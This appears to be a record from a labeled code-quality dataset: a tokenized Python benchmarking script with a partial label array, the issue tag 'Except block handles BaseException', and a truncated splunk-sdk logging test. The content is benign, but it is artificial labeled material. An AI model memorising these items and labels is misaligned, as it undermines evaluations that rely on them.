"\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "(_", "\"\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "results_", "=_", "Data", "Frame_", "(_", "ss_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "results_", "._", "columns_", "=_", "[_", "\"#", "%", "d", "\"_", "%_", "i_", "for_", "i_", "in_", "range_", "(_", "args_", "._", "hre", "pea", "ts_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "results", ".", "index", " ", "=", " ", "[\"", "#", "%", "d", "\"", " ", "%", " ", "i", " ", "for", " ", "i", " ", "in", " ", "range", "(", "len", "(", "ss", "))", "]_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "results", " ", "=", " ", "results", ".", "T_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "sha", "s_", ",_", "messages_", ",_", "\\u_", ",_", "\\u_", "=_", "\\u", "parse", "\\u", "commit", "\\u", "log_", "(_", "None_", ",_", "REPO", "\\u", "PATH_", ",_", "base", "\\u", "commit_", "=_", "\"", "HEAD", "^", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print", "\\u", "report_", "(_", "results_", ",_", "h", "\\u", "head_", "=_", "sha", "s_", "[_", "-_", "1_", "]_", ",_", "h", "\\u", "msg_", "=_", "messages_", "[_", "-_", "1_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "args_", "._", "outd", "f_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pr", "print_", "(_", "\"", "The", " ", "results", " ", "Data", "Frame", " ", "was", " ", "writt", "en", " ", "to", " ", "'%", "s", "'\\\\", "n", "\"_", "%_", "args_", "._", "outd", "f_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Data", "Frame_", "(_", "results_", ")_", "._", "save_", "(_", "args_", "._", "outd", "f_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "print", "\\u", "report_", "(_", "df_", ",_", "h", "\\u", "head_", "=_", "None_", ",_", "h", "\\u", "msg_", "=_", "\"\"_", ",_", "h", "\\u", "baseline_", "=_", "None_", ",_", "b", "\\u", "msg_", "=_", "\"\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "name", "\\u", "width_", "=_", "45_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "col", "\\u", "width_", "=_", "10_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "hdr_", "=_", "(_", "\"{:", "%", "s", "}\"_", "%_", "name", "\\u", "width_", ")_", "._", "format_", "(_", "\"", "Test", " ", "name", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "hdr_", "+=_", "(_", "\"|", "{:", "^", "%", "d", "}\"_", "%_", "col", "\\u", "width_", ")_", "*_", "len_", "(_", "df_", "._", "columns_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "hdr_", "+=_", "\"|\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "hdr_", "=_", "hdr_", "._", "format_", "(_", "*_", "df_", "._", "columns_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "hdr_", "=_", "\"-\"_", "*_", "len_", "(_", "hdr_", ")_", "+_", "\"\\\\", "n", "\"_", "+_", "hdr_", "+_", "\"\\\\", "n", "\"_", "+_", "\"-\"_", "*_", "len_", "(_", "hdr_", ")_", "+_", "\"\\\\", "n", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ftr", "_", "=_", "hdr_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "s_", "=_", "\"\\\\", "n", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "s_", "+=_", "\"", "Invok", "ed", " ", "with", " ", ":\\\\", "n", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "s_", "+=_", "\"--", "nca", "lls", ":", " ", "%", "s", "\\\\", "n", "\"_", "%_", "(_", "args_", "._", "nca", "lls_", "or_", "'", "Auto", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "s_", "+=_", "\"--", "repeat", "s", ":", " ", "%", "s", "\\\\", "n", "\"_", "%_", "(_", "args_", "._", "repeats_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "s_", "+=_", "\"\\\\", "n", "\\\\", "n", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "s_", "+=_", "hdr_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "import", " ", "ipd", "b_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "ipd", "b", ".", "set\\u", "trace", "()", "_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "i_", "in_", "range_", "(_", "len_", "(_", "df_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "lf", "mt_", "=_", "(_", "\"{:", "%", "s", "}\"_", "%_", "name", "\\u", "width_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lf", "mt_", "+=_", "(_", "\"|", " ", "{:", "%", "d", ".4", "f", "}", " ", "\"_", "%_", "(_", "col", "\\u", "width_", "-_", "2_", ")_", ")_", "*_", "len_", "(_", "df_", "._", "columns_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lf", "mt_", "+=_", "\"|", "\\\\", "n", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "s_", "+=_", "lf", "mt_", "._", "format_", "(_", "df_", "._", "index_", "[_", "i_", "]_", ",_", "*_", "list_", "(_", "df_", "._", "iloc_", "[_", "i_", "]_", "._", "values_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "s_", "+=_", "ftr", "_", "+_", "\"\\\\", "n", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "s_", "+=_", "\"", "Rati", "o", " ", "<", " ", "1.0", " ", "means", " ", "the", " ", "target", " ", "commit", " ", "is", " ", "faste", "r", " ", "then", " ", "the", " ", "baseline", ".\\\\", "n", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "s_", "+=_", "\"", "See", "d", " ", "used", ":", " ", "%", "d", "\\\\", "n", "\\\\", "n", "\"_", "%_", "args_", "._", "seed_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "h", "\\u", "head_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "s_", "+=_", "'", "Target", " ", "[", "%", "s", "]", " ", ":", " ", "%", "s", "\\\\", "n", "'_", "%_", "(_", "h", "\\u", "head_", ",_", "h", "\\u", "msg_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "h", "\\u", "baseline_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "s_", "+=_", "'", "Base", " ", " ", " ", "[", "%", "s", "]", " ", ":", " ", "%", "s", "\\\\", "n", "\\\\", "n", "'_", "%_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "h", "\\u", "baseline_", ",_", "b", "\\u", "msg_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "stats", "\\u", "footer_", "=_", "\"\\\\", "n", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "args_", "._", "stats_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pd_", "._", "options_", "._", "display_", "._", "expand", "\\u", "frame", "\\u", "repr_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "stats", "\\u", "footer_", "+=_", "str_", "(_", "df_", "._", "T_", "._", "describe_", "(_", ")_", "._", "T_", ")_", "+_", "\"\\\\", "n", "\\\\", "n", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "s_", "+=_", "stats", "\\u", "footer_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "logfile_", "=_", "open_", "(_", "args_", "._", "log", "\\u", "file_", ",_", "'", "w", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "logfile_", "._", "write_", "(_", "s_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "logfile_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "not_", "args_", "._", "quiet_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pr", "print_", "(_", "s_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "args_", "._", "stats_", "and_", "args_", "._", "quiet_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pr", "print_", "(_", "stats", "\\u", "footer_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "pr", "print_", "(_", "\"", "Result", "s", " ", "wer", "e", " ", "als", "o", " ", "writt", "en", " ", "to", " ", "the", " ", "logfile", " ", "at", " ", "'%", "s", "'\"_", "%_", "\\u\\u\\uNL\\u\\u\\u_", "args_", "._", "log", "\\u", "file_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "main_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "from_", "suite_", "import_", "benchmarks", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "not_", "args_", "._", "log", "\\u", "file_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "args_", "._", "log", "\\u", "file_", "=_", "os_", "._", "path_", "._", "abspath_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "os_", "._", "path_", "._", "join_", "(_", "REPO", "\\u", "PATH_", ",_", "'", "vb", "\\u", "suit", "e", ".", "log", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "saved", "\\u", "dir_", "=_", "os_", "._", "path_", "._", "curdir_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "args_", "._", "outd", "f_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "not", " ", "bullet", "-", "proof", " ", "but", " ", "eno", "ugh", " ", "for", " ", "us_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "args_", "._", "outd", "f_", "=_", "os_", "._", "path_", "._", "realpath_", "(_", "args_", "._", "outd", "f_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "args_", "._", "log", "\\u", "file_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "not", " ", "bullet", "-", "proof", " ", "but", " ", "eno", "ugh", " ", "for", " ", "us_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "args_", "._", "log", "\\u", "file_", "=_", "os_", "._", "path_", "._", "realpath_", "(_", "args_", "._", "log", "\\u", "file_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "random_", "._", "seed_", "(_", "args_", "._", "seed_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "np_", "._", "random_", "._", "seed_", "(_", "args_", "._", "seed_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "args_", "._", "base", "\\u", "pickle_", "and_", "args_", "._", "target", "\\u", "pickle_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "baseline", "\\u", "res_", "=_", "prep", "\\u", "pickle", "\\u", "for", "\\u", "total_", "(_", "pd_", "._", "load_", "(_", "args_", "._", "base", "\\u", "pickle_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "target", "\\u", "res_", "=_", "prep", "\\u", "pickle", "\\u", "for", "\\u", "total_", "(_", "pd_", "._", "load_", "(_", "args_", "._", "target", "\\u", "pickle_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "report", "\\u", "compara", "tive_", "(_", "target", "\\u", "res_", ",_", "baseline", "\\u", "res_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sys_", "._", "exit_", "(_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "args_", "._", "affinity", "_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "#", " ", "use", " ", "psu", "til", " ", "rat", "her", " ", "then", " ", "stale", " ", "affinity", " ", "module", ".", " ", "Thanks", " ", "@", "yar", "iko", "pti", "c_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "import_", "psutil_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "hasattr_", "(_", "psutil_", "._", "Process_", ",_", "'", "set\\u", "cpu", "\\u", "affinity", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "psutil_", "._", "Process_", "(_", "os_", "._", "getpid_", "(_", ")_", ")_", "._", "set\\u", "cpu", "\\u", "affinity", "_", "(_", "[_", "args_", "._", "affinity", "_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "(_", "\"", "CPU", " ", "affinity", " ", "set", " ", "to", " ", "%", "d", "\"_", "%_", "args_", "._", "affinity", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Import", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "(_", "\"-", "a", "/--", "affinity", " ", "specified", ",", " ", "but", " ", "the", " ", "'", "psu", "til", "'", " ", "module", " ", "is", " ", "not", " ", "avail", "able", ",", " ", "abort", "ing", ".\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sys_", "._", "exit_", "(_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "print_", "(_", "\"\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pr", "print_", "(_", "\"", "LOG", "\\u", "FILE", " ", "=", " ", "%", "s", "\"_", "%_", "args_", "._", "log", "\\u", "file_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "args_", "._", "outd", "f_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pr", "print_", "(_", "\"", "PIC", "KE", "\\u", "FILE", " ", "=", " ", "%", "s", "\"_", "%_", "args_", "._", "outd", "f_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "print_", "(_", "\"\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "move", " ", "awa", "y", " ", "from", " ", "the", " ", "panda", "s", " ", "root", " ", "dir", ",", " ", "to", " ", "avoid", " ", "possib", "le", " ", "import_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "sur", "pris", "es_", "\\u\\u\\uNL\\u\\u\\u_", "os_", "._", "chdir_", "(_", "os_", "._", "path_", "._", "dirname_", "(_", "os_", "._", "path_", "._", "abspath_", "(_", "\\u\\u", "file\\u\\u_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "benchmarks", "_", "=_", "[_", "x_", "for_", "x_", "in_", "benchmarks", "_", "if_", "re_", "._", "search_", "(_", "args_", "._", "regex_", ",_", "x_", "._", "name_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "b_", "in_", "benchmarks", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "b_", "._", "repeat_", "=_", "args_", "._", "repeats_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "args_", "._", "nca", "lls_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "b_", "._", "nca", "lls_", "=_", "args_", "._", "nca", "lls_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "benchmarks", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "args_", "._", "head_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "profile", "\\u", "head_", "(_", "benchmarks", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "profile", "\\u", "compara", "tive_", "(_", "benchmarks", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "(_", "\"", "No", " ", "matchi", "ng", " ", "benchmarks", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "os_", "._", "chdir_", "(_", "saved", "\\u", "dir_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "parse", "\\u", "commit", "\\u", "log_", "(_", "this_", ",_", "repo", "\\u", "path_", ",_", "base", "\\u", "commit_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "from_", "vb", "ench", "_", "._", "git_", "import_", "\\u", "convert", "\\u", "timezones", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "pandas_", "import_", "Series_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "dateutil_", "import_", "parser_", "as_", "dpa", "rser_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "git", "\\u", "cmd_", "=_", "'", "git", " ", "--", "git", "-", "dir", "=", "%", "s", "/.", "git", " ", "--", "work", "-", "tree", "=", "%", "s", " ", "'_", "%_", "(_", "repo", "\\u", "path_", ",_", "repo", "\\u", "path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "git", "hist_", "=_", "git", "\\u", "cmd_", "+_", "(_", "'", "log", " ", "--", "graph", " ", "--", "pretty", "=", "format", ":'_", "+_", "\\u\\u\\uNL\\u\\u\\u_", "'\\\\\"", "::", "%", "h", "::", "%", "cd", "::", "%", "s", "::", "%", "an", "\\\\\"'_", "+_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'%", "s", "..'_", "%_", "base", "\\u", "commit_", ")_", "+_", "\\u\\u\\uNL\\u\\u\\u_", "'>", " ", "git", "hist", ".", "txt", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "os_", "._", "system_", "(_", "git", "hist_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "git", "hist_", "=_", "open_", "(_", "'", "git", "hist", ".", "txt", "'_", ")_", "._", "read_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "os_", "._", "remove_", "(_", "'", "git", "hist", ".", "txt", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "sha", "s_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "timestamps_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "messages_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "authors_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "line_", "in_", "git", "hist_", "._", "split_", "(_", "'\\\\", "n", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "'*'_", "not_", "in_", "line_", "._", "split_", "(_", "\":", ":\"_", ")_", "[_", "0_", "]_", ":_", "#", " ", "skip", " ", "non", "-", "commit", " ", "lines_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u_", ",_", "sha_", ",_", "stamp_", ",_", "message_", ",_", "author_", "=_", "line_", "._", "split_", "(_", "'::'", "_", ",_", "4_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "parse", " ", "timestamp", " ", "int", "o", " ", "datetime", " ", "object_", "\\u\\u\\uNL\\u\\u\\u_", "stamp_", "=_", "dpa", "rser_", "._", "parse_", "(_", "stamp_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "sha", "s_", "._", "append_", "(_", "sha_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "timestamps_", "._", "append_", "(_", "stamp_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "messages_", "._", "append_", "(_", "message_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "authors_", "._", "append_", "(_", "author_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "to", " ", "UT", "C", " ", "for", " ", "now_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "timestamps_", "=_", "\\u", "convert", "\\u", "timezones", "_", "(_", "timestamps_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "sha", "s_", "=_", "Series_", "(_", "sha", "s_", ",_", "timestamps_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "messages_", "=_", "Series_", "(_", "messages_", ",_", "sha", "s_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "timestamps_", "=_", "Series_", "(_", "timestamps_", ",_", "sha", "s_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "authors_", "=_", "Series_", "(_", "authors_", ",_", "sha", "s_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "sha", "s_", "[_", ":_", ":_", "-_", "1_", "]_", ",_", "messages_", "[_", ":_", ":_", "-_", "1_", "]_", ",_", "timestamps_", "[_", ":_", ":_", "-_", "1_", "]_", ",_", "authors_", "[_", ":_", ":_", "-_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "parse", "\\u", "wrapper_", "(_", "base", "\\u", "commit_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "inner_", "(_", "repo", "\\u", "path_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\\u", "parse", "\\u", "commit", "\\u", "log_", "(_", "repo", "\\u", "path_", ",_", "base", "\\u", "commit_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "inner_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Except block handles 'BaseException'
splunk/splunk-sdk-python/tests/searchcommands/test_builtin_options.py
[ { "content": " def test_logging_configuration(self):\n\n # Test that logging is properly initialized when there is no logging configuration file\n\n rebase_environment('app_without_logging_configuration')\n\n self.assertIsInstance(environment.splunklib_logger, logging.Logger)\n self.assertIsNone(environment.logging_configuration)\n self.assertEqual(len(logging.root.handlers), 1)\n self.assertEqual(len(logging.Logger.manager.loggerDict), 1)\n self.assertIsInstance(logging.root.handlers[0], logging.StreamHandler)\n self.assertIs(environment.splunklib_logger, logging.getLogger('splunklib'))\n self.assertIsNone(environment.logging_configuration)\n\n command = StubbedSearchCommand()\n\n self.assertIs(command.logger, logging.getLogger('StubbedSearchCommand'))\n self.assertEqual(len(command.logger.handlers), 0)\n self.assertIsNone(command.logging_configuration)\n self.assertIs(command.logger.root, logging.root)\n self.assertEqual(len(logging.root.handlers), 1)\n\n root_handler = logging.root.handlers[0]\n\n self.assertIsInstance(root_handler, logging.StreamHandler)\n self.assertEqual(root_handler.stream, sys.stderr)\n\n self.assertEqual(command.logging_level, logging.getLevelName(logging.WARNING))\n root_handler.stream = StringIO()\n message = 'Test that output is directed to stderr without formatting'\n command.logger.warning(message)\n self.assertEqual(root_handler.stream.getvalue(), message + '\\n')\n\n # A search command loads {local,default}/logging.conf when it is available\n\n rebase_environment('app_with_logging_configuration')\n\n command = StubbedSearchCommand()\n self.assertEqual(command.logging_configuration, os.path.join(environment.app_root, 'default', 'logging.conf'))\n self.assertIs(command.logger, logging.getLogger('StubbedSearchCommand'))\n\n # Setting logging_configuration loads a new logging configuration file relative to the app root\n\n command.logging_configuration = 'alternative-logging.conf'\n self.assertEqual(\n command.logging_configuration, os.path.join(environment.app_root, 'default', 'alternative-logging.conf'))\n self.assertIs(command.logger, logging.getLogger('StubbedSearchCommand'))\n\n # Setting logging_configuration loads a new logging configuration file on an absolute path\n\n app_root_logging_configuration = os.path.join(environment.app_root, 'logging.conf')\n command.logging_configuration = app_root_logging_configuration\n\n self.assertEqual(command.logging_configuration, app_root_logging_configuration)\n self.assertIs(command.logger, logging.getLogger('StubbedSearchCommand'))\n\n # logging_configuration raises a value error, if a non-existent logging configuration file is provided\n\n try:\n command.logging_configuration = 'foo'\n except ValueError:\n pass\n except BaseException as e:\n self.fail('Expected ValueError, but {} was raised'.format(type(e)))\n else:\n self.fail('Expected ValueError, but logging_configuration={}'.format(command.logging_configuration))\n\n try:\n command.logging_configuration = os.path.join(package_directory, 'non-existent.logging.conf')\n except ValueError:\n pass\n except BaseException as e:\n self.fail('Expected ValueError, but {} was 